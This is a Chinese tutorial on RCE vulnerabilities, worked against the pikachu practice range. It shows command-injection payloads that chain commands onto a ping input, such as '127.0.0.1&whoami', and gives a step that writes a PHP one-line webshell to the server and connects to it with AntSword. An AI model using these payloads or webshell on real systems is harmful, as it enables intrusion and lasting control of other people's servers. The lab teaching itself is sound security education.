【网络安全】-rce漏洞-pikachu

rce漏洞包含命令执行漏洞与代码执行漏洞

文章目录

前言 什么是rce漏洞?

1.rce漏洞产生原因:

2.rce的分类:

命令执行漏洞:

命令拼接符:

常用函数:

代码执行漏洞:

常用函数:

分类:

3.防御措施:

总结


前言 什么是rce漏洞?

由于应用程序在处理用户输入时未能正确验证、过滤或限制输入数据,导致hacker能通过网络在目标系统上执行任意代码或命令,从而完全控制受影响的系统。


1.rce漏洞产生原因:

在研发员开发中,为了考虑代码的灵活性与简洁性,会调用能将字符串转化成代码的函数去处理,但是研发员调用这些函数,没有考虑hacker能控制这个字符串或命令,造成代码执行漏洞与命令执行漏。

2.rce的分类:

命令执行漏洞:

实例:pikachu靶场

输入:127.0.0.1

输入:恶意命令whoami查看隐私信息:

报错。

但是我们用命令拼接符&拼接:127.0.0.1&whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

输出whoami信息,说明服务器对输入的恶意命令做了限制,但我们可以进行命令拼接绕过限制,输入我们的恶意命令。

命令拼接符:

定义:把两条以上的命令拼接在一起的特殊符号。

Windows系统命令拼接符:

&:拼接符两边只要有一个为真就执行

实例:

回显本地ip地址

ifconfig&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))

&&:命令拼接符拼接多个命令时,遇到假的终止执行

ifconfig&&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))

|:命令拼接符拼接多个命令时,只要有一个为假都不执行; 如果为真都执行,但只是回显最后一个命令的运行结果;

Ifconfig|127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)

127.0.0.1|ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))

直接返回如下页面:

127.0.0.1|whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

||:命令拼接符拼接多个命令时,按顺序执行,遇到真的就执行且只执行一次;

ifconfig||127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)

127.0.0.1||ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))

127.0.0.1||whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))

Linux系统命令拼接符:

;:无论拼接的命令为真还是为假都按照顺序执行命令;

&:无论命令为真或者为假,都执行但不按照顺序执行;

&&:如果都为真时按照顺序执行;如果存在假的测终止执行

||:按顺序执行,遇到真的就执行且只执行一次;

常用函数:

system()函数:执行外部程序并显示输出

exec()函数:执行一个外部程序

shell_exec()函数:通过shell环境执行命令,并以字符串的形式返回输出

passthru()函数:执行外部命令并显示原始输出

pentl_exec函数:在当前进程空间执行指定程序

代码执行漏洞:
常用函数:

eval(),assert()函数:把字符串作为PHP代码执行

call_user_func()函数:把第一参数作为回调函数

call user func array()函数:调用回调函数,并把第一个数组参数作为回函调数的参数

arry_map()函数:为数组的每个元素应用回调函数

分类:

本地代码执行漏洞:利用本地漏洞来执行恶意代码。

必须先获得对目标系统的部分访问权限,通常是通过物理访问或已有账户登录,进入服务器后,找到输入框来执行恶意代码。

远程代码执行漏洞:从互联网执行恶意代码,

它允许攻击者不受限制地控制目标系统。

不需要物理访问或现有访问权限,它允许hacker不受限制地控制目标系统。

实例:pikachu远程代码执行命令:

rec_php文件,直接解析php代码试试?

用phpinfo();代码:

解析成功。

我们还可以进一步操作拿到webshell:

步骤:在rce_ping.php中输入127.0.0.1 &dir查看文件

有rce_php,rce_eval.php,rce_ping.php,说明我们要是上传一个码子上去,与,rce_eval.php路径相同。

开搞:127.0.0.1 & echo "<?php @eval($_POST[cmd]); ?>" > rce1.php //码子

再次在rce_ping.php中输入127.0.0.1 &dir查看文件,可以看到我们的码子

然后输入url验证一下:

因为码子上与,rce_eval.php路径相同。

rce_eval.php路径:http://pikachu-master/vul/rce/rce_eval.php

码子路径: http://pikachu-master/vul/rce/rce1.php

用中国蚁剑连接:

步骤:右键,添加数据。

只管url地址:码子的url

连接密码:一句话木马<?php @eval($_POST[cmd]); ?>中[ ]里的cmd.

点击测试连接显示连接成功。

3.防御措施:

输入验证和过滤:确保所有用户输入都经过严格的验证和过滤,避免恶意数据进入系统。

启用防御性编程:在开发中使用安全的编码实践,例如避免直接执行用户输入的命令或查询。

使用沙箱技术:将应用程序运行在受限的环境中,防止恶意代码影响整个系统。


总结

RCE漏洞是一种严重的安全漏洞类型,对系统安全构成重大威胁。

相关推荐
懒大王爱吃狼33 分钟前
Python教程:python枚举类定义和使用
开发语言·前端·javascript·python·python基础·python编程·python书籍
逐·風5 小时前
unity关于自定义渲染、内存管理、性能调优、复杂物理模拟、并行计算以及插件开发
前端·unity·c#
Devil枫5 小时前
Vue 3 单元测试与E2E测试
前端·vue.js·单元测试
尚梦6 小时前
uni-app 封装刘海状态栏(适用小程序, h5, 头条小程序)
前端·小程序·uni-app
GIS程序媛—椰子6 小时前
【Vue 全家桶】6、vue-router 路由(更新中)
前端·vue.js
前端青山7 小时前
Node.js-增强 API 安全性和性能优化
开发语言·前端·javascript·性能优化·前端框架·node.js
hikktn7 小时前
如何在 Rust 中实现内存安全:与 C/C++ 的对比分析
c语言·安全·rust
毕业设计制作和分享7 小时前
ssm《数据库系统原理》课程平台的设计与实现+vue
前端·数据库·vue.js·oracle·mybatis
23zhgjx-NanKon8 小时前
华为eNSP:QinQ
网络·安全·华为
23zhgjx-NanKon8 小时前
华为eNSP:mux-vlan
网络·安全·华为